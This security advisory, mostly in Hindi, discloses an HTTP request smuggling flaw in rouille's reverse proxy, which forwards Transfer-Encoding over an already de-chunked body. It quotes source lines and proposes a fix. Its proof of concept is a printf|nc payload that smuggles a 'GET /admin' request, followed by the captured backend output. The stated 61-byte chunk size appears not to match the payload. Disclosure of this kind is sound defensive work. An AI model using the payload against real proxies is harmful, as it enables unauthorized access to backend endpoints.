
Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)
निर्धारित CVE ID: CVE-2026-67181
rouille::proxy::proxy क्लाइंट के Transfer-Encoding हेडर को बैकएंड को
अपरिवर्तित अग्रेषित करता है, लेकिन वह अनुरोध निकाय लिखता है जिसे tiny_http पहले ही
डी-चंक कर चुका होता है। यह अपनी ओर से कभी भी Content-Length उत्सर्जित नहीं करता। बैकएंड को बताया जाता है कि
निकाय चंक्ड है और उसे ऐसे बाइट्स दिए जाते हैं जो चंक्ड नहीं हैं, इसलिए क्लाइंट, नहीं कि
rouille, यह तय करता है कि बैकएंड के अनुसार निकाय कहाँ समाप्त होता है।
रिपॉजिटरी URL: https://github.com/tomaka/rouille
| पहला प्रभावित | 0.3.3 (2016-12-03), वह रिलीज़ जिसने src/proxy.rs पेश किया |
| अंतिम प्रभावित | 3.6.2 (2023-04-24), वर्तमान रिलीज़ |
| प्रभावित नहीं | 0.3.2 और उससे पहले, जिनमें कोई proxy मॉड्यूल नहीं है |
| इसमें ठीक हुआ | लेखन के समय कोई निश्चित संस्करण नहीं |
src/proxy.rs 3.6.2 टैग और वर्तमान master के बीच बाइट-समान है।
केवल वे एप्लिकेशन प्रभावित हैं जो proxy::proxy या proxy::full_proxy को कॉल करते हैं।
CWE-444 (HTTP अनुरोधों की असंगत व्याख्या)।
CVSS 4.0 आधार स्कोर 6.3 (मध्यम)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
एक दूरस्थ, अनप्रमाणित क्लाइंट जो rouille एप्लिकेशन को कच्चा HTTP भेजता है जो रिवर्स प्रॉक्सी के रूप में कार्य करता है। किसी क्रेडेंशियल या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है।
प्रभाव बैकएंड पर निर्भर करता है। जो बैकएंड Connection: close की परवाह किए बिना
पाइपलाइन करते हैं, और rouille और ओरिजिन के बीच स्थित कोई भी कनेक्शन-पूलिंग मध्यस्थ,
तस्करी किए गए अनुरोध पर कार्य करेंगे। जो बैकएंड Connection: close का सम्मान करते हैं,
उनके पास अभी भी क्लाइंट द्वारा भेजे गए और rouille द्वारा देखे गए अनुरोध निकाय से भिन्न
अनुरोध निकाय होता है।
tiny_http जब भी कोई Transfer-Encoding हेडर मौजूद होता है तो डी-चंक करता है और
Content-Length को त्याग देता है।
tiny_http-0.12.0/src/request.rs, पंक्तियाँ 149 से 159:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs, पंक्तियाँ 218 से 221:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs फिर Connection को छोड़कर हर हेडर को अग्रेषित करता है और
डिकोड किए गए निकाय की प्रतिलिपि बनाता है। पंक्तियाँ 167 से 174:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
क्लाइंट का Transfer-Encoding: chunked पंक्ति 171 पर बचा रहता है। पंक्ति 174 वह
प्लेनटेक्स्ट लिखती है जो Decoder ने उत्पन्न किया। कोई Content-Length कभी नहीं लिखा जाता, इसलिए
बैकएंड के पास फ्रेम करने के लिए और कुछ नहीं होता और वह चंक्ड पार्सिंग को उस प्लेनटेक्स्ट पर लागू करता है
जिसे हमलावर ने चुना था।
चरण 1. बैकएंड के रूप में कार्य करने और rouille द्वारा भेजे गए बाइट्स दिखाने के लिए पोर्ट 8001 पर एक रॉ लिसनर शुरू करें।
nc -l 127.0.0.1 8001 | cat -v
चरण 2. पोर्ट 8000 पर एक rouille फ्रंट एंड शुरू करें।
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
चरण 3. एक सही ढंग से चंक्ड अनुरोध भेजें जिसका डिकोड किया गया निकाय स्वयं एक चंक्ड स्ट्रीम है जो तुरंत समाप्त हो जाती है, उसके बाद एक दूसरा अनुरोध। एकल चंक 0x3d = 61 बाइट लंबा है।
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
परिणाम. चरण 1 का लिसनर दिखाता है कि rouille चंक्ड फ्रेमिंग की घोषणा करता है और फिर प्लेनटेक्स्ट भेजता है:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
Transfer-Encoding: chunked का सम्मान करने वाला बैकएंड चंक-आकार की पंक्ति 0 पढ़ता है,
निष्कर्ष निकालता है कि निकाय खाली है, और शेष 56 बाइट्स को एक नए अनुरोध के रूप में पार्स करता है।
बैकएंड का अनुरोध निकाय पर दृष्टिकोण क्लाइंट द्वारा भेजे गए बाइट्स और rouille द्वारा पढ़े गए बाइट्स दोनों से भिन्न होता है। कोई भी अपस्ट्रीम घटक जो लॉग, ऑडिट या मिरर करता है निकाय, वह कुछ और ही रिकॉर्ड करता है जिस पर बैकएंड ने कार्य किया।
जहाँ बैकएंड Connection: close के बावजूद पाइपलाइन करता है, या जहाँ एक
कनेक्शन-पूलिंग मध्यस्थ rouille और ओरिजिन के बीच बैठता है, वहाँ अनुगामी
बाइट्स हमलावर द्वारा चुने गए विधि और पथ के साथ एक दूसरा अनुरोध बन जाते हैं।
क्लाइंट का Content-Length भी अग्रेषित किया जाता है, भले ही tiny_http ने इसे अनदेखा कर दिया हो,
इसलिए एक बैकएंड जो Transfer-Encoding के ऊपर Content-Length को प्राथमिकता देता है, सीधे
CL.TE डिसिंक्रनाइज़ेशन प्राप्त करता है।
ऐसे फ्रेमिंग हेडर को अग्रेषित न करें जो उस निकाय का वर्णन करते हैं जिसे rouille पहले ही डिकोड कर चुका है।
src/proxy.rs में, पंक्ति 167 पर स्किप को विस्तारित करें:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
फिर वह फ्रेमिंग उत्सर्जित करें जो वास्तव में लिखे गए डेटा से मेल खाती है: निकाय को बफर करें और
एक सटीक Content-Length भेजें, या इसे फिर से चंक करें और स्वयं
Transfer-Encoding: chunked भेजें, पंक्ति 173 पर अंतिम \r\n\r\n से पहले।